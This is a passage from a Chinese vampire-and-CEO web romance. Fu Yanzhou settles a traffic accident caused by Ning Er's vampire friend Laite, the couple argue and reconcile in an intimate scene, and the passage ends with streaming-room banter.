傅宴舟愣了一下,很快又给他倒好。 “怎么了?”傅宴舟走到宁尔背后,站着抱住他,温柔的声音适时响起。 宁尔自从见过莱特之后,情绪变化不止一点。 傅宴舟看在眼里,也在等待合适的时候帮小朋友解决问题。 令人安心的檀木香传来,宁尔重重地叹了口气: “哥哥,我的爸爸妈妈,好像真的不会再要我了。” “莱特告诉你的?” 宁尔痛苦地点点头。 “莱特……在我走后见过他们,很多次。他们不仅没有着急地找我,还、很恨我。” “恨你?” 傅宴舟声音很轻,似乎很难理解。 宁尔没再回答,和傅宴舟一样,他也很难解释。 沉默了一会儿,宁尔没有等到傅宴舟的安慰,反而听他开口道: “宝宝,你知道我接手盛景以来,犯过最严重的一次错误是什么吗?” “嗯?”宁尔睁大眼睛,转回脑袋看傅宴舟。 傅宴舟目光看向前方: “一次大型海外投资。我选定的地址,但所有人都告诉我那里不合适。后来因为忙其他事,我没有去亲自考察。一年后,S国竞争对手公司拿下了那块地,并且从当地获得了大量廉价优质原料。” “盛景损失巨大,一夜之间市值大规模蒸发。” “那、那是他们骗了哥哥吗?”宁尔有些不可思议。 傅宴舟摇摇头: “有些事情,在他们的位置和认知里不能成功,并不代表我认为不能成功。” “至少,我当时应该去亲自看看。任何人说的,都不一定是真正的真相。” 傅宴舟的手掌在宁尔肩上轻轻地捏了捏,宁尔若有所思道地呆了一会儿: “哥哥的意思是……” 傅宴舟点头: “无论如何,想知道真相的话,一定要用自己的眼睛去看看。” “哪怕结果真的很坏,至少,哥哥永远不会不要你。” 宁尔愣在了原地,他从一开始认为爸爸妈妈会惩罚他,只是因为血族惩罚异类的先例。 从基因检测结果出来直到现在,他都没有亲口去问一句。 万一、万一就像傅宴舟说的,莱特和他,有可能都对公爵夫妇有一定误会呢? 宁尔静静地思考着,手中的酒再次见底,傅宴舟俯身,把这个情绪波动过大的小孩沉稳地背在背上回卧室睡觉- 第二天太阳一落山宁尔就迫不及待联系了莱特。 虽然澜·峰酒店离宁尔的别墅不算近,但他还是在五分钟之内就来到了客厅等着。 果然,五分钟后,敲门声响起。 宁尔打开门,看着莱特几乎面不红人不喘,两人心照不宣对视笑了笑。 宁尔告诉莱特傅宴舟会很晚回来,直接把他带了进来。 莱特和当初的宁尔一样,小心翼翼地观察着的别墅,参观了一圈之后感慨: “宁尔,这、这是傅先生的房子吗?” 宁尔挠挠头: “算、算是吧。不过如果不出意外的话,我可以一直住在这里。” 莱特立马想到了昨晚最后的对话,站在宁尔面前质问他: “所以,男朋友是什么意思?你和人类相爱了吗?” 宁尔有些不好意思地避开莱特的目光,正要说话,手机铃声瞎响起来,宁尔接通后嗯了两声,走到门口打开门,拿进来一个牛皮纸袋。 宁尔打开纸袋,从里面拿出两包诱人的血袋,递给莱特一袋: “给。” 莱特眼睛都亮了,显然他在人类世界还没有钱买过血袋。 两个人都插了吸管,坐在沙发上,像喝奶茶一样吸着血袋,边喝边给莱特讲了他是如何开始在软件上做主播,如何误打误撞和傅宴舟成为好友,如何恰巧救了他,又最终奔现的事情。 莱特如同听奇幻故事一样一直睁大眼睛,不过最后他好像也接受了: “反正,在你身上永远会发生很多奇怪的事情。” “那如果你们相爱,傅先生是不是就可以用蓝宝石送你回家?” 又回到了这个最关键的问题,宁尔摇摇头: “宝石在人类世界的价值非常高。并且那块蓝宝石对于傅家的意义也很重大,我并不愿意开口占有。更何况,舟先生也不知道我们是吸血鬼。” 这个问题就让莱特更加不解了,他来到人类世界之后都因为行踪诡异,险些被报警抓过。 宁尔和傅宴舟是生活在一起的恋人,难道都毫无察觉吗? 宁尔苦笑了一下: “不是没有察觉,是不愿意相信。他宁愿相信是我有精神妄想症。” “你不要急,回家的事我会慢慢想办法。反正,我们的生命足够长。” “好吧……” 时间很快到9点,宁尔表示自己要上播了,莱特说他也想看,宁尔给他下载了一个缘来,又搜索到自己的账号,让他可以在语音房里看自己。 这就是他目前在人类世界的“工作”。 莱特刷了一会儿语音房,再加上刚才宁尔讲的经历,犹豫了一会儿道: “宁尔,只要在这里说话,就能赚到钱吗?” 莱特从小就不喜欢说话,性格和宁尔差不多社恐,现在问这个,宁尔敏锐地反问: “你想干什么?” “我、我以后留在人类世界,也需要钱……我也得赚钱……” 宁尔看他的样子忍不住笑出了声: “莱特,有我在,你一辈子不需要赚钱。还能每天都有鲜血喝。” 宁尔说完就潇洒地上楼了,心里暗暗感慨,原来可以对别人负责的感觉这么好。 接下来的几天莱特都是每天太阳落山就来到宁尔的别墅,哪怕没什么话说,两只鬼待在一起也是很安心的。 傅宴舟也知道这件事,故意每天都回来很晚,给他们留够相处空间。 宁尔在语音房里分享了找到“童年发小”的经历,很多人都被他们的友情感动,也想起了自己过去的朋友,不少人甚至都去重拾了友谊。 宁尔感觉自己不知不觉间又做了一件有意义的事,每天的心情更好了一点。 唯一有些反常的是他一直买血袋的那个中介最近忽然回消息很慢,有时候甚至一两天都不回复。 莱特听说了这件事,一天傍晚在宁尔直播前告诉他,他也偶然间找到一个卖血袋的中介,他可以去问问新的血源。 宁尔和他确认了安全,莱特表示没问题,临出门前却不小心把自己的卫衣弄脏了。 莱特低头看着自己的衣服,有些难为情: “宁尔,我可以穿你的衣服吗?” “当然,你去我的卧室,衣柜里随便挑,哪件都可以。” 宁尔马上要开播,没时间亲自帮莱特找衣服。 他自己平时冬天只穿绿色毛衣或者绿色卫衣,外面套一件面包样的羽绒服。 宁尔准时登入语音房,查看了一下他发起的一个投票结果。 [是否支持小耳朵参与露脸直播活动] 缘来体量变大之后不少平台都来找他们的主播互动合作,这就是隔壁的一个露脸大直播软件,想请宁尔去参加一个公益性的直播。 到时候所有直播收入都会以几家平台的名义联合捐赠。 宁尔在答应之前还是先发起了一个投票,没想到支持率占到了80%。 宁尔于是给缘来的工作人员发私信,告诉他们自己可以去露脸直播。 两个小时的直播马上要结束,宁尔伸了个懒腰,正要继续感谢榜单时候,手机铃声忽然突兀地响了起来。 宁尔心中有种不太好的预感,立马闭麦拿起手机接电话: “喂?” 莱特的声音无比焦急地在电话中响起: “宁尔,怎么办,我闯祸了宁尔。我、我好像、撞死人了。”—— 作者有话说: 第67章 “是血液的味道香么?小…… 宁尔脑子里瞬间“嗡”了一声。 一瞬间好多奇怪的疑问和困惑像风一样在脑袋里呼啸而过。 他完全来不及细想, 对着电话焦急道: “莱特,你现在在哪里?你有没有帮忙救人?你的速度比任何车辆都快你可以送他去医院!” “我……我不知道在哪里……我不认识这里……” “宁尔,我不敢……他们好像要抓我, 我跑掉躲起来了……” 宁尔脑子里嗡声更大了: “你用手机发个位置给我, 我现在去找你。” 莱特不知道是不是被吓傻了, 磨磨蹭蹭很久发不好位置。 宁尔只能一遍又一遍打电话催他。 他火速穿好衣服,正要出门, 手机的公众号忽然弹出一条新闻: [突发!A市中心路口多车辆连环相撞, 造成5人受伤, 肇事电动车逃逸。] 宁尔点开那则新闻, 图片赫然是几辆车相撞的瞬间, 被围在中间的赫然是一个骑着共享电动车的少年。 照片没有拍到莱特的正脸,但那身衣服…… 面包一样的羽绒服, 黑色裤子,甚至可以看到羽绒服里露出的绿色毛衣边。 那是宁尔最惯常穿得一套衣服。 幸亏……幸亏没有拍到脸…… 莱特终于发来了位置,地图上看是在一条小巷子里,宁尔随便抓了件外套打开门飞了出去。 他跟着地图飞奔,屡次差点因为速度太快撞到墙上, 五六分钟之后跑进一条漆黑的小巷子里,黑暗中就看到莱特缩成一团蹲在角落里。 “莱特,莱特,你没受伤吧?” 宁尔跑过去蹲在他跟前,焦急地问他。 莱特目光有些呆滞地摇摇头: “没、我没有……怎么办, 现在怎么办……” “撞死人类”四个字在宁尔脑子里回响, 宁尔蹲在地上,身体忍不住和莱特一起有些发抖。 “我们明明是吸血鬼,你跑得那么快, 为什么要去骑人类的电动车??” 宁尔百思不得其解,声音都不由得高了几分。 “我、我、我怕跑得太明显,所以,所以才骑车的……” “宁尔,我们跑吧!他们没有拍到我的脸,我们在人类世界又没有信息,只要跑出A市,我们就能先躲过去。” “如果被他们抓走,我们会被关到异种观察所、甚至实验室的!会被抓去做实验的!” “宁尔,我害怕……” 莱特的身体在抖,抖得宁尔也跟着更加颤抖。 跑……跑到哪里去呢…… 宁尔语气冰冷又颤抖: “莱特,如果我们跑了,那些因为你出车祸、住在医院里需要医药费的人类怎么办?” 莱特看着宁尔的眼睛,似乎感受到他语气中的责怪: “宁尔,我、我真的不是故意伤害人类的……” 莱特的手下意识握在宁尔的手上,他冰冷如冬雪的皮肤温度一瞬间让宁尔冷静了下来。 他已经有多久,没有感受过这样的温度了。 这冰冷无疑在向他诉说着一个事实,这是他的同类。 他此刻在这个世界上唯一的同类。 那个从小跟在他屁股后面,像弟弟一样的最好的朋友。 那个知道他是异类的那一刻,不惜冒死送他出逃的朋友。 尊贵的吸血鬼公子,此刻却因为自己,缩在人类世界狭小昏暗的街道里瑟瑟发抖。 宁尔迅速把自己的大衣脱下来: “换衣服。” “什么?” “外套,帽子,脱下来,换给我。” 莱特不知道宁尔要干什么,但看他已经脱掉外套了,于是把自己的羽绒服也先换了。 “你去这里敲门,找陈元之或者靳伟,就说你是我的朋友,他们会留下你。现在就去。事情处理完之后我会联系你。” “那、那你呢?” “你先别管了。我刚刚看了那条事故新闻,只说了5人受伤,至少说明并没有当场去世的。还有余地,还有余地。” “宁尔,你一个人……” “别那么多话了,你快点跑。” 宁尔忍不住推了莱特一把,看着他甚至踉跄了一下的背影,宁尔心里也一阵不是滋味。 他一屁股坐在地上,昏暗的路灯照不到他的影子。 宁尔好像隐约间能听到不远处得警笛声,混杂着中心路口无数的纷繁杂乱。 宁尔拿起手机,手指先是自动滑到了靳伟的电话那里,停顿了一会儿,又滑到陈元之的号码上。 宁尔的手放在通话键上,几次没能按下拨通。 不知道内心煎熬了多久,宁尔打开键盘,输入了那串唯一印在脑海里的电话。 傅宴舟很快接通电话,他显然还没有看到新闻: “喂?宝宝,怎么了?” 傅宴舟万年不变的沉稳的声音从听筒里传来,宁尔煎熬的内心瞬间松了一下,紧接着就觉得鼻子有些发酸: “哥哥,我……我闯祸了。我……撞伤了人。” “你有没有受伤?你现在在哪儿我马上过去。” 傅宴舟的声音瞬间紧张起来,宁尔甚至能听出来他立马来到走廊里的声音。 他鼻腔中的酸涩意味更重: “不,不是我,我没有受伤,是我撞伤了人,引起了事故。” “哥哥,你、你能先带我去医院吗?我想先去为他们缴纳医药费……” “警察现在应该都在找我,我想先确保那些人没有生命危险,我现在还不敢去自首……” “哥哥,我可能要给你添一个很大很大的麻烦了……如果我回不来了……我爱你。” 严重的突发事故和未知的离别恐惧交织成复杂的情绪,冲上脑袋,再从嘴巴里说出来,竟然变成了这三个字。 宁尔从来没想过敢说出来的三个字。 对面的傅宴舟显然也是一愣,随即用仍旧冷静的声音打断了宁尔没头没脑的语无伦次: “把你的位置发给我,哥哥现在去找你。” “别害怕,我会解决。” 宁尔甚至不知道后面事情怎么样了,傅宴舟带着肖特助在小巷子里找到他,先是紧紧地抱了抱宁尔,安慰他别害怕,和他问清楚事故地点之后,傅宴舟就直接让司机把宁尔先送回家。 宁尔不愿意直接把烂摊子扔给傅宴舟,可傅宴舟这次十分坚决,说什么都不允许他跟着。 宁尔在家里紧张地等待了整整一天一夜,傅宴舟一直没有回家,期间傅宴舟只是偶尔给他回一条消息,告诉他在处理,放心。 一直到第二天晚上,傅宴舟才回来。 他开门进屋,浑身冒着冬日的寒气,眼睛里有些许红血丝,哪怕神态平静沉稳,面色中仍有些许疲倦。 宁尔光着脚跑到傅宴舟身边,语气焦急: “哥哥,怎么样了?” 傅宴舟低头看着他,摸了摸宁尔的脑袋,温声道: “别担心,都解决了。” “事故涉及的受伤人员、车辆损失,都已经处理妥当,没有死亡人员。十字路口车流量大,但车速不快,受伤程度均算轻伤。” 宁尔一听到没有人类死去,以及“轻伤”几个字,心里的石头猛地落地,大大地呼吸了几口: “那他们治疗的医药费呢?还有修车的费用,我可以全部赔付的。还有还有,没有人要找肇事者吗哥哥?” 宁尔这几天查了很多关于车祸处理的方式,心里忐忑地做了很多准备。尤其是认定一点,一定要赔偿给别人。 傅宴舟又摸了摸宁尔的头: “所有的赔付已经都谈好了。这件事收尾会由肖特助处理,不用再担心。” 这么大的新闻事故,傅宴舟只用了“谈好了”三个字,就告诉宁尔事情彻底解决了。 他到底赔了多少钱,宁尔不知道,但宁尔猜想,除了钱,一定还有其他的。 宁尔不知道自己给傅宴舟添了多大的麻烦,他下意识拽住傅宴舟的袖子。 傅宴舟先是看向他的动作,又看向他的眼睛,沉默了一瞬间,伸手把宁尔整个人都抱在怀里。 宁尔顺势也环抱住傅宴舟,他的拥抱不算暖和,但宽厚沉稳的臂膀永远让人觉得无比安心。 宁尔本以为傅宴舟问什么,可他只是用手掌轻抚了一会儿宁尔的后背: “宝宝,我先去换衣服。” 宁尔意识到傅宴舟这两天应该都没休息好,赶紧松开他,一边自己走去厨房去帮他热牛奶。 傅宴舟上楼的空当,宁尔拿出手机给莱特打了个电话,告诉他这件事情结束了,他不用再刻意躲藏害怕。 莱特的声音里似乎还有一种难以置信,宁尔知道他是受到惊吓还没缓过来,简单安慰他几句之后就挂断了。 不知道为什么,宁尔总觉得人类世界的莱特有些奇怪。 他的性格和行为举止,都让宁尔觉得有些陌生。 这种陌生让宁尔心里隐约有些不安,总觉得可能还会出什么事。 傅宴舟洗完澡出来,宁尔赶紧端着热牛奶上楼。 他的房间灯光昏暗,布置冷清,不同于宁尔有视觉温度的暗红色,黑色的床单让整个空间格外冷寂。 宁尔想把牛奶递到傅宴舟嘴边,傅宴舟接过后却没有喝,而是转手放在了旁边的床头柜上。 傅宴舟坐在床边打开平板,手指滑动,不知道在处理什么。 宁尔是一直在原地站了一分钟,才意识到到傅宴舟的态度好像有点冷。 他……是在生气? 宁尔有些尴尬,他想和傅宴舟再多聊聊,但对方好像一直在忙。 现在可能不是好时候。 舟先生可能也需要休息。 宁尔想悄悄溜出去,刚走到门口,就听到傅宴舟的声音: “去哪儿?” 宁尔回头,他已经放下了平板,金丝框眼镜折射出让人寒冷的光,他抬手,手指向内动了两下,招呼宁尔过来。 宁尔不记得自己已经有多久没有从傅宴舟身上感受过这种寒意了,冷到他竟然一时间动不了脚步。 停滞了一下,理性还是占据上风,宁尔乖乖走到床边,傅宴舟伸手一拉,宁尔整个人倒在他怀里。 他仍旧没有摘掉那副眼镜,一边抚摸着宁尔的后颈,一边问: “怎么要走?” “我、我看你在忙。” “没什么比你重要。”傅宴舟语气淡淡的。 “你这几天是不是都没有直播?” 宁尔不知道他为什么忽然问这个,愣了一下: “嗯……我这两天,没有心情直播……” 宁尔很少有这样不负责任的丢一句请假出去,敬业的直播频率,以及他对直播的在意程度,傅宴舟一直都是知道的。 可现在出了这个大的事,他的确没有心情直播。 傅宴舟没再多问这件事,转了话题: “我以为你是打算来说说这次的事故。” 傅宴舟的问题并不在宁尔的意料之外。 这么大的事,如果他只处理却一句都不问才奇怪。 宁尔趴在傅宴舟身上,喉咙动了动,回忆着自己编好的故事,眼神下意识避开傅宴舟的目光。 “在你讲述事故之前” 傅宴舟在宁尔就要开口之际打断他,手指有意无意地停在宁尔后颈: “能不能告诉我,为什么要替别人承担过错?” 宁尔感觉到自己后颈瞬间凉了一下,抬头与傅宴舟对视,瞬间明白了他眼中的寒意是为什么。 “什、什么替别人……” “他穿着你日常最喜欢的绿色的衣服,戴着你的帽子、同款口罩,骑着共享电动车出现在整个A市几乎最繁华的路口引发大规模交通事故——” “市中心的速度撞车不至于过于惨烈,但足以快速成为新闻发酵。” 傅宴舟语气冰冷地叙述着这件事,他并不像宁尔那样百分百相信莱特的每一个理由,也没有给出主观意见,而是把事实原封不动陈述给宁尔听。 宁尔神色肉眼可见变得紧张起来,紧张里夹杂着一丝慌乱与迷茫。 他任由傅宴舟的手指在自己的后背摩挲,咽了口口水: “这些、是巧合……莱特的衣服弄脏了,他从前不会骑电动车,对,他从前从不会骑电动车……也、也不太懂交通规则。” “不会骑,但是敢直接骑到最繁华的路口横冲直撞。” 傅宴舟的语气毫不留情,太阳穴处的青筋在灯光下凸起明显。 他在生气。 “哥哥……” 宁尔的声音小了一点,叫哥哥的语气有些艰难晦涩。一边是他难以解释的吸血鬼身份好友,一边是帮他解决烂摊子的恋人。 宁尔说完这两个字,傅宴舟腿一动,把宁尔整个人抱坐在自己身上。 宁尔两腿分跨坐在傅宴舟身上,身体接触,宁尔的脸不合时宜地红了起来,却仍不得不对视着傅宴舟金丝眼镜下的那双眼睛。 “为什么不能如实告诉我?怕我会不帮助你最好的朋友么?” 傅宴舟边说手指边不安分地滑进宁尔的睡衣,惩罚一样。 宁尔浑身一颤,声音有些发抖: “不、不是……” “那是什么?难道他有什么必须逃跑的秘密或者身份?” 傅宴舟边说手指边捏下了宁尔的下巴,强迫他俯下身来,冰冷的话语刚刚说出口,便不由分说吻上了宁尔的唇。 宁尔的唇被不由分说撬开,这个吻的力道比之前重很多,仿佛带着生气和惩罚,温热的唇瓣与津液交换,舌头不断侵略着宁尔。 宁尔被他闻得差点窒息,这种带着惩罚的轻佻让他更加面红耳赤,愧疚、隐瞒、羞耻的感觉交织涌动。 宁尔努力挣开傅宴舟: “不是……莱特不是坏人,他……” “他不是坏人,难道你是?” 傅宴舟模模糊糊扔出这么一句话,之后就又按着脑袋吻了起来,手上的动作更加放肆。 宁尔的每一句话仿佛都在被惩罚,他分不清这吻是情爱还是生气,窒息感和恐惧让他再度用力想要挣开。 宁尔越挣扎,傅宴舟吻得越深。 仿佛把这几天的担心和忧虑全部加注在这个吻上。 宁尔大脑缺氧,他又用力推了傅宴舟一下,自己顺势想从他身上起来,一声轻微的响声落在宁尔耳朵里,宁尔瞬间睁大眼睛锁住眉头。 ——那是人类□□开绽的声音。 他低头,细密的血珠从傅宴舟锁骨处渗出来,是被宁尔睡衣胸前那个铁制的装饰品划破了。 两个人同时愣了一下。 血液的味道瞬间迸发而来,宁尔的瞳孔瞬间收缩了一下,他几乎想不受控地去嗅闻、吮吸男人的鲜血。 最后的理智让他重重地推开傅宴舟,语气艰涩: “你、受伤了……去处理……” 本能的欲望在身体里迅速燃烧,对鲜血的渴望与极度抑制让兴奋变成颤抖,宁尔牙关发颤,不知不觉放大的瞳孔在黑暗中悄然变幻。 “可以……关掉灯吗?” 去处理伤口那句傅宴舟置之不理,关灯倒是很快。 瞬间黑暗的夜色将其他感官吞噬,嗅觉与食欲被无限放大。 宁尔身体不受控地趴在傅宴舟身上,脑袋无限近地想要去接触他锁骨处的血珠。 浓重的血液香味盖过了舟先生身上的雪松香,线条分明的锁骨处,无比诱人的红色液体,宁尔一只手悄然攀在傅宴舟的脖子上。 他伸出舌尖,轻轻地舔了一下傅宴舟的锁骨。 鲜血的味道在口腔里漫溢,宁尔的眼眸瞬间变成血红色,浑身难以控制地颤抖。 傅宴舟随着宁尔的动作,配合地把他整个人抱在自己身上,唇间再度去找寻宁尔的唇。 一向冰凉的唇瓣此刻温热有余,伴随着丝丝血腥味,仿佛动作都灵巧了不少。 血液的余味在口腔里持续,宁尔已经几乎失去了理智,舌尖有些发麻,口中晶莹的的津液几乎要淌出来。 “唔~” “人,你好香啊……~” 宁尔贪婪地吮吸着傅宴舟的唇舌,任由着傅宴舟的手掌游移,分不清在享受哪种欲望。 尖牙好痒痒啊…… 好想长出来啊…… 舟先生的血液太美味了,等下在他脖子上咬一口,会是什么感觉呢? 宁尔呆滞忘我的目光在黑夜里盯住傅宴舟的脖颈,已经在想从哪里咬下去尝尝。 “是血液的味道香么?小吸血鬼?”—— 作者有话说: 你俩吵架怎么吵到床上去了? 宁尔:马甲,危 应该还有几张就快完结啦,亟待跟着小耳朵回吸血鬼世界看一看~ 第68章 会挡住老公亲你。 这句不同于以往的调侃让宁尔瞬间清醒, 他动作愣住,却因此被傅宴舟翻身宁尔压在身上。 直到他动作更加放肆时,宁尔才意识到, 傅宴舟依旧在逗弄他。 宁尔被他压住, 忽然离开血液之后痛苦地嘤唔了一声。 “哥哥, 你、你还是不相信世界上有吸血鬼么?” “以前不信。” “现、现在呢?” 傅宴舟边逗宁尔,边不知道什么时候用床头湿巾将锁骨处的血迹擦拭干净。伤口并不大, 止住血后只有一条淡淡的伤痕。 浓重的血腥味儿散去, 人又被压在下面, 宁尔渐渐恢复了一点理智。 傅宴舟并没有对他做什么, 像撒够了气, 逗够了人,松开宁尔, 和他一起躺在床上,面对面看着宁尔。 “现在,为了你的安全,我愿意相信这个世界上存在超越我的理性的存在。” “什、什么意思呢?” 宁尔在夜里看着傅宴舟漆黑的眼眸,一时间没有听懂他这句话。 傅宴舟嘴角动了动, 伸手摸了摸他的头: “没什么意思。” “那、那你还在生气吗?”宁尔小心翼翼讨好问。 “宝宝。” “嗯?” “其实,当我发现那个人出车祸的人不是你的时候,不仅没有生气,反而是暗暗庆幸。” “庆幸你没有事。” “至于其他的,有我在, 都可以解决。” 傅宴舟的语气沉稳包容, 宁尔的眼眶倏然又发了酸。 他吸了吸鼻子: “哥哥,虽然你不生气了,我还是想说三个字。” 傅宴舟整个人忽然愣了一下, 伸手握住宁尔的手,喉咙滚了滚,声音很轻: “哪三个字?” “对、不、起。” “……” 傅宴舟松开了宁尔的手。 “……” 宁尔不知道他又怎么了,疑惑地歪头看傅宴舟。 “我记得,当时在电话里,你说的是另外三个字。” 电话里…… 宁尔回想起来,脸瞬间又红了起来。 吸血鬼世界情爱表达比人类直白地多,就连公爵和公爵夫人都会经常互相亲吻,对对方说“我爱你”。 可是在人类世界,哪怕和傅宴舟从网恋开始在一起这么久,甚至有了一些□□接触,一次又一次表白,宁尔都始终没有说出过那三个字。 那天,在听到傅宴舟声音的一刹那,在面临可能分别的一刹那,宁尔的心,让他毫不犹豫地说出了口。 “哪、哪三个字……” 宁尔假装翻身,现在想起来还怪不好意思的。 “不记得了……” “真不记得?” “嗯,那天太害怕忘记了……” 没等宁尔扯完,傅宴舟又作势要过来欺负他,宁尔害怕刚穿好的睡衣又要被他扒掉,身体又要有反应,赶忙求饶似的: “我爱你。” 宁尔感觉傅宴舟身体似乎轻轻抖了一下,动作明显温和停滞下来: “什么?” “我、爱、你。” 宁尔怕傅宴舟没听清,红着脸又在他耳边一个字一个字说了一遍。 傅宴舟的呼吸明显加重起来,炽热的呼吸打在宁尔的颈部,傅宴舟的额头轻抵着宁尔的脑袋: “那天为什么要说这三个字?” 两个人的鼻息在方寸之间胶着,宁尔知道瞒不过傅宴舟,有些底气不足解释: “因为我怕、怕杀了人,被抓起来,再也见不到你,或者没办法和你在一起。” “你、你不喜欢听吗?” 宁尔忽然想到,哪怕傅宴舟和他表白了那么多次,但从来都是“我喜欢你”或者“我很喜欢你”。 包括给他打赏、送他名贵珠宝、别墅,傅宴舟却始终没有表达过“爱”这个字。 或许,这个字在傅宴舟看来太重了。 在傅宴舟心中,他们只是刚刚奔现没多久的网络恋人,还没有到可以说爱…… “喜欢。” 傅宴舟打断了宁尔。 “但不是在要离别时候。” 宁尔顿了一下,他看着黑暗中傅宴舟那双幽深的眼睛,猛地想起来了什么。 傅宴舟的父亲,当年就是在车祸中丧生。 也许,他在苦苦等待救援的生命倒计时之际,也和自己亲爱的儿子说过同样的话呢? 宁尔觉得自己真是着急地昏了头,他一个“出车祸”的电话过去,噩梦重演,傅宴舟听到那一刻,心里会有多紧张? 宁尔的心像被人狠狠攥了一下,紧地难受,他深呼吸了两下,咬着嘴唇沉默了一会儿,忽然伸出一根小拇指,牵住傅宴舟的手指。 “拉钩。” 傅宴舟缓缓抬起手: “什么?” 宁尔小拇指勾着傅宴舟的小纸,晃来晃去: “人类的约定啊,拉了勾的事情就不能再变了。” “我答应你,以后再也不随便逞能,不轻易让自己陷入危险,不在离别的时候说我爱你。” 傅宴舟静静听完,牵起他的小指: “吸血鬼和人类的约定,也算数吗?” “我说算数就算数。” 傅宴舟嘴角微微上扬,和宁尔勾在一起小指更加用力一些。 这样就能让承诺更有效果吗? 那他也要。 宁尔也学着他的样子,更用力了一下。 “咯嘣”一声,傅宴舟的手骨发出了清脆的响声。 “……” “宝宝” 傅宴舟声音发闷。 “嗯?” “你力气挺大的。” “嗯……” 宁尔摸了摸傅宴舟的手骨,确定没有断,心虚地把手指抽回来: “哥哥,那要什么时候才能说我爱你?你为什么从来没有说过?” “你现在想听?”傅宴舟问。 什么叫现在想听…… 这明明是一句动情的表白的话,怎么从舟先生嘴里说出来,像才艺展示一样。 宁尔皱了皱眉,嘴巴动了动: “不想。” 傅宴舟笑了笑,伸手揉了揉他的脑袋: “宝宝,我会在更正式的时候说给你听。”- 宁尔和傅宴舟一觉睡到大天亮,傅宴舟出门上班,宁尔认认真真浏览了最近两天的新闻,没再发现车祸的相关报道。 只有几个粉丝量很少的花边公众号,用灰色剪影和夸张的标题当成娱乐新闻写道: “某知名富商新欢出车祸,富商低调处理。据小编所知,当时这个嫂子哥呀,放着劳斯莱斯宾利不坐,偏偏骑个小电驴横穿大马路口,没想到就偏偏出车祸了。” “事故具体谁的责任咱不知道,但是,咱就说富商的格局不是一般的大,撤新闻,安抚事故车辆,一一进行十倍赔偿,亲自上医院慰问道歉。不惜赔上个人名誉,也要保护嫂子哥不受到二次惊吓。” “嫂子哥受没受伤不知道,但这心估计早就被富商暖化了。” “这篇文章不知道什么时候会被下架,且看且珍惜。记得文末点个关注支持小编。” 宁尔哭笑不得地看着这篇传奇新闻,一颗心算是终于落回了肚子里。 傅宴舟给莱特也找了一个附近的房子,他也不用再住在酒店了。 宁尔十足认真地给莱特讲了一遍伤害人类的后果。 他们本来就是吸血鬼,力气大,速度快,哪怕不是故意都可能伤到人类,以后一定要小心再小心。 莱特可能有些惊魂未定,再加上不适应在人类世界这种小心翼翼的窝囊生活,整个鬼病恹恹的。 “宁尔,你会不会讨厌我,不想理我?” 宁尔看到他那副苍白毫无生气的眼睛,心又软了下来。 纤长的睫毛在眼帘投下阴影,他摇了摇头。 对于宁尔来说,人类世界有傅宴舟、有靳伟、元之、甚至有张哥,有春风哥,有几十万的粉丝。 而对于莱特,他是他在人类世界唯一的朋友,家人。 如果他再孤立莱特,那就和霸凌没什么区别了。 “莱特,你别多想。” “人类社会的晚上有很多事可以做,比如去游乐园、看星星、看烟花、尝试喝酒~” 宁尔歪着脑袋: “等你在这里熟了我都可以陪你去。” 莱特有些诧异地看了一眼宁尔,眼神明显变得复杂起来,他低下头,没再说话。 宁尔抿了抿唇,他知道莱特没有那么脆弱,不过也下定决心,一定要找机会和傅宴舟说出蓝宝石的事。 哪怕自己不回家,也要把莱特送回吸血鬼世界。 安顿好莱特之后宁尔又去找了靳伟和陈元之,那天贸然让莱特去找他们,不知道有没有添麻烦。 靳伟没早出晚归没怎么见到这人,元之和他待在家相处了一段时间。 “他话不多,我们在各自的卧室,没什么交流。我没叫他吃饭,给他一个外卖地址,让他饿了自己叫外卖。” 陈元之正在打游戏,噼里啪啦一阵操作手速飞起,抽空回了宁尔这么一句,对莱特没有任何多余的关心。 宁尔感觉自己一瞬间幻视了靳伟,而不是那个叽叽喳喳的陈元之。 宁尔摸了摸鼻子: “哦哦,没给你们添麻烦就好……” “他犯了什么事儿啊?”陈元之继续边打游戏边问了一句。 宁尔愣了一下,不知道元之是怎么猜到的,站在原地“额……”了一会儿,小声道: “没、没什么,反正都解决了。” “哦。”陈元之手上继续操作,头也不回: “反正他是你朋友。” 一起相处了一年多,宁尔已经十分了解陈元之的性格了。 他这样的反应不是对莱特不感兴趣,而是在介意这件事。 是不是误会莱特闯了祸之后畏缩逃跑,让宁尔去处理? 宁尔轻咳了一声: “元之,那件事情是意外,不是莱特故意的。请你不要误会……” “不是意外就能自己藏起来让你一个人解决啊?” 陈元之果然在胡乱误会。 宁尔八百张嘴都解释不清,有些着急: “真的不是……是我让他来这里的,他不出现就是在帮忙了……” 宁尔越解释越乱,越解释越着急,这还是元之第一次脸这么冷。 他还想着急解释,陈元之好像是一局游戏结束了,“啪”地按了一下键盘回到主界面。 他猛地站起身,回头看着宁尔。 “反正,他是你朋友。” 宁尔发愣:“什么意思……” 陈元之看着宁尔的眼睛: “我的意思是,因为他是你的朋友,所有我和靳伟都会尽量帮他对待他。” “因为,是你。” 陈元之手掌轻轻在他肩上拍了拍。 宁尔终于听懂了这句话的意思,看着陈元之鲜有的认真煽情语气,心里一暖,感动地嘴都撇了起来。 “这么感动,陪哥来打局游戏?” 宁尔赶紧摇摇头: “不了不了哥。” 这件事彻底处理好,宁尔心情大好,和傅宴舟的关系也升温到极点。 傅宴舟下班回家一天比一天早,下班的心情肉眼可见好起来。 有时候陪宁尔看电影,有时候一起去吃夜宵,有时候甚至会亲自下厨给宁尔做顿饭吃。 傅宴舟做的饭实在不敢恭维。 宁尔硬着头皮装好吃,第二天亲自下厨提前给傅宴舟做饭。 这次是两个人一起硬着头皮吃下去。 大多数时间傅宴舟还是都陪在宁尔身边直播。 他没有刻意压低声音,有时候偶尔咳嗽一声,粉丝们就会立马敏锐听到,问宁尔傅宴舟是不是在旁边。 宁尔如实回答,整个评论区又是一阵好嗑好嗑。 [以前不知道有钱人平时玩什么,原来是回家陪老婆啊] [他在笑在闹,他在温柔陪伴] [小耳朵和舟先生为什么不玩点别的呢?] [?那是付费内容了] [哈哈哈哈哈哈还不是为了给咱们直播] [一想到亿万富翁每天直播感谢这三瓜俩枣就忍不住想笑] 整个评论区都很自然地称呼宁尔为傅宴舟的“老婆”,起初宁尔还据理力争,说他和傅宴舟都是男生,也没有结婚,只是恋人,为什么他就是老婆。 等到后来什么宝宝、小点心、甚至小狗都出来之后,宁尔才赶紧接受了老婆这个称呼。 这些弹幕傅宴舟当然也能看到。 并且是超大电子屏滚动播放。 